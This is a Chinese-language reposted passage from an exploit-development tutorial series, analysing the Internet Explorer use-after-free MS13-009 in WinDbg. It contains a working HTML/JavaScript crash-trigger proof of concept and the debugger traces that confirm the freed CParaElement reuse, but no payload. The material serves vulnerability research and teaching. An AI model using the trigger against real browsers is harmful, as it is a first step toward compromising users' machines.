- 第一部分： Introduction to Exploit Development
- 第二部分：Saved Return Pointer Overflows
- 第三部分：Structured Exception Handler (SEH)
- 第四部分：Egg Hunters
- 第五部分：Unicode 0x00410041
- 第六部分：WIN32 shellcode 编写
- 第七部分：返回导向编程(ROP)
- 第八部分：堆喷射第一节【覆写 EIP】
- 第九部分：堆喷射[第二章：UAF]
- 第十部分：内核利用程序之栈溢出
- 第十一部分：内核利用程序之任意位置任意写
- 第十二部分：内核利用程序之空指针引用
- 第十三部分：内核利用程序之未初始化栈变量
- 第十四部分：内核利用程序之整数溢出
- 第十五部分：内核利用程序之 UAF
- 第十六部分：内核利用程序之池溢出
- 第十七部分：内核利用程序之任意位置任意写
- 第十八篇：内核利用程序之 RS2 Bitmap 巫术
- 第十九篇：内核利用程序之 Razer
文章来源于网络收集而来，版权归原创者所有，如有侵权请及时联系！
近距离审视 MS13-009
如上面所提到的，本文主要的目的不是去分析漏洞，而是理解在编写 exp 时所遇到的障碍。我们会快速的看一下这个漏洞以理解发生了些什么。下面给出触发该 bug 的 POC。
<!doctype html>
<html>
<head>
<script>
setTimeout(function(){
document.body.style.whiteSpace = "pre-line";
//CollectGarbage();
setTimeout(function(){document.body.innerHTML = "boo"}, 100)
}, 100)
</script>
</head>
<body>
<p> </p>
</body>
</html>
好的，让我们在调试器中看看触发漏洞时发生了什么。你会注意到我添加了 CollectGarbage() 函数（但注释掉了）。在我的测试中我注意到这个 bug 有一点不稳定（只有 80%左右），因此我曾用 CollectGarbage() 来实验看看他是否会提升稳定性。CollectGarbage() 是个 javascript 可见的函数，它会清空四个 bin，这 4 个 bin 用于在 oleaut32.dll 中实现一个自定义堆(custom heap) 管理引擎。当我们试图去在堆上分配自己伪造的对象时，它会变得非常有用。在我的测试中，我无法判断它是否会引起差异，如果有人直到的话请给我留言。
从下面的执行流来看，有一个试图去调用虚表中函数的对象，调用位置在 eax 偏移 0x70 处。
0:019> g
(e74.f60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00205618 ecx=024e0178 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????
0:008> uf mshtml!CElement::Doc
mshtml!CElement::Doc:
3cf76980 8b01 mov eax,dword ptr [ecx]
3cf76982 8b5070 mov edx,dword ptr [eax+70h]
3cf76985 ffd2 call edx
3cf76987 8b400c mov eax,dword ptr [eax+0Ch]
3cf7698a c3 ret
栈回溯显示了执行流，最终引导至崩溃。在调用期望返回处程序未崩溃之前，如果我们反汇编（unassemble）该返回地址，就可以看到该函数是如何被调用的了。看起来某个在 EBX 的函数传递了它的虚表指针给 ECX，然后由 mshtml!CElement::Doc 所引用来调用一个在偏移 0x70 处的函数。
0:008> knL
# ChildEBP RetAddr
00 0162bca0 3cf149d1 mshtml!CElement::Doc+0x2
01 0162bcbc 3cf14c3a mshtml!CTreeNode::ComputeFormats+0xb9
02 0162bf68 3cf2382e mshtml!CTreeNode::ComputeFormatsHelper+0x44
03 0162bf78 3cf237ee mshtml!CTreeNode::GetFancyFormatIndexHelper+0x11
04 0162bf88 3cf237d5 mshtml!CTreeNode::GetFancyFormatHelper+0xf
05 0162bf98 3d013ef0 mshtml!CTreeNode::GetFancyFormat+0x35
06 0162bfb8 3d030be9 mshtml!CLayoutBlock::GetDisplayAndPosition+0x77
07 0162bfd4 3d034850 mshtml!CLayoutBlock::IsBlockNode+0x1e
08 0162bfec 3d0347e2 mshtml!SLayoutRun::GetInnerNodeCrossingBlockBoundary+0x43
09 0162c008 3d0335ab mshtml!CTextBlock::AddSpansOpeningBeforeBlock+0x1f
0a 0162d71c 3d03419d mshtml!CTextBlock::BuildTextBlock+0x280
0b 0162d760 3d016538 mshtml!CLayoutBlock::BuildBlock+0x1ec
0c 0162d7e0 3d018419 mshtml!CBlockContainerBlock::BuildBlockContainer+0x59c
0d 0162d818 3d01bb86 mshtml!CLayoutBlock::BuildBlock+0x1c1
0e 0162d8dc 3d01ba45 mshtml!CCssDocumentLayout::GetPage+0x22a
0f 0162da4c 3cf5bdc7 mshtml!CCssPageLayout::CalcSizeVirtual+0x254
10 0162db84 3cee2c95 mshtml!CLayout::CalcSize+0x2b8
11 0162dc20 3cf7e59c mshtml!CView::EnsureSize+0xda
12 0162dc64 3cf8a648 mshtml!CView::EnsureView+0x340
13 0162dc8c 3cf8a3b9 mshtml!CView::EnsureViewCallback+0xd2
14 0162dcc0 3cf750de mshtml!GlobalWndOnMethodCall+0xfb
15 0162dce0 7e418734 mshtml!GlobalWndProc+0x183
16 0162dd0c 7e418816 USER32!InternalCallWinProc+0x28
17 0162dd74 7e4189cd USER32!UserCallWinProcCheckWow+0x150
18 0162ddd4 7e418a10 USER32!DispatchMessageWorker+0x306
19 0162dde4 3e2ec29d USER32!DispatchMessageW+0xf
1a 0162feec 3e293367 IEFRAME!CTabWindow::_TabWindowThreadProc+0x54c
1b 0162ffa4 3e135339 IEFRAME!LCIETab_ThreadProc+0x2c1
1c 0162ffb4 7c80b729 iertutil!CIsoScope::RegisterThread+0xab
1d 0162ffec 00000000 kernel32!BaseThreadStart+0x37
0:008> u 3cf149d1-7
mshtml!CTreeNode::ComputeFormats+0xb2:
3cf149ca 8b0b mov ecx,dword ptr [ebx]
3cf149cc e8af1f0600 call mshtml!CElement::Doc (3cf76980)
3cf149d1 53 push ebx
3cf149d2 891e mov dword ptr [esi],ebx
3cf149d4 894604 mov dword ptr [esi+4],eax
3cf149d7 8b0b mov ecx,dword ptr [ebx]
3cf149d9 56 push esi
3cf149da e837010000 call mshtml!CElement::ComputeFormats (3cf14b16)
We can confirm our suspicions by looking at some register values.
0:008> d ebx
00205618 78 01 4e 02 00 00 00 00-4d 20 ff ff ff ff ff ff x.N.....M ......
00205628 51 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 Q...............
00205638 00 00 00 00 00 00 00 00-52 00 00 00 00 00 00 00 ........R.......
00205648 00 00 00 00 00 00 00 00-00 00 00 00 80 3f 4e 02 .............?N.
00205658 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
00205668 a5 0d a8 ea 00 01 0c ff-b8 38 4f 02 e8 4f 20 00 .........8O..O .
00205678 71 02 ff ff ff ff ff ff-71 01 00 00 01 00 00 00 q.......q.......
00205688 f8 4f 20 00 80 4b 20 00-f8 4f 20 00 98 56 20 00 .O ..K ..O ..V .
0:008> d ecx
024e0178 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e0188 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e0198 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e01a8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e01b8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e01c8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e01d8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
024e01e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
0:008> r
eax=00000000 ebx=00205618 ecx=024e0178 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
通过设置一些巧妙的断点，我们可以追溯到 mshtml!CTreeNode 的分配来看看是否有熟悉的值出现。下面的结果显示 EBX 指向 CParaElement，被调用的函数是 CElement:SecurityContext。这看起来和 MS13-009 的漏洞描述一致： “IE 浏览器的一个 UAF 漏洞，CParaElement 节点被释放了但在 CDoc 中却仍旧保留了一个引用。当 CDoc 重新布局时这段内存会被重用到” 。
0:019> bp mshtml!CTreeNode::CTreeNode+0x8c ".printf \"mshtml!CTreeNode::CTreeNode allocated obj at %08x,
ref to obj %08x of type %08x\\n\", eax, poi(eax), poi(poi(eax)); g"
0:019> g
mshtml!CTreeNode::CTreeNode allocated obj at 002059d8, ref to obj 024d1f70 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002060b8, ref to obj 024d1e80 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002060b8, ref to obj 0019ef80 of type 3cf6fb00
mshtml!CTreeNode::CTreeNode allocated obj at 00206218, ref to obj 024d1e80 of type 3cecf528
mshtml!CTreeNode::CTreeNode allocated obj at 00205928, ref to obj 024d1be0 of type 3cecf7f8
mshtml!CTreeNode::CTreeNode allocated obj at 00206008, ref to obj 024ff7d0 of type 3cecfa78
mshtml!CTreeNode::CTreeNode allocated obj at 00205c98, ref to obj 024151c0 of type 3ceca868
mshtml!CTreeNode::CTreeNode allocated obj at 002054b0, ref to obj 024ff840 of type 3cedcfe8
mshtml!CTreeNode::CTreeNode allocated obj at 00205fb0, ref to obj 024d1c10 of type 3cee61e8
mshtml!CTreeNode::CTreeNode allocated obj at 00206060, ref to obj 030220b0 of type 3cebd980
mshtml!CTreeNode::CTreeNode allocated obj at 002062c8, ref to obj 03022110 of type 3cecf528
mshtml!CTreeNode::CTreeNode allocated obj at 00206320, ref to obj 03022170 of type 3cecf7f8
mshtml!CTreeNode::CTreeNode allocated obj at 00206378, ref to obj 024ffb88 of type 3cecfa78
mshtml!CTreeNode::CTreeNode allocated obj at 002063d0, ref to obj 024ffb50 of type 3cedcfe8
(b54.cd4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00205fb0 ecx=024d0183 edx=00000000 esi=0162bcd0 edi=00000000
eip=3cf76982 esp=0162bca4 ebp=0162bcbc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
3cf76982 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????
0:008> ln 3cee61e8
(3cee61e8) mshtml!CParaElement::`vftable' | (3d071410) mshtml!CUListElement::`vftable'
Exact matches:
mshtml!CParaElement::`vftable' = <no type information>
0:008> ln poi(mshtml!CParaElement::`vftable'+0x70)
(3cf76950) mshtml!CElement::SecurityContext | (3cf76980) mshtml!CElement::Doc
Exact matches:
mshtml!CElement::SecurityContext (<no parameter info>)
如果你对这篇内容有疑问，欢迎到本站社区发帖提问 参与讨论，获取更多帮助，或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱，如果其他用户或者作者回复了您的评论，将不能在第一时间通知您！
发布评论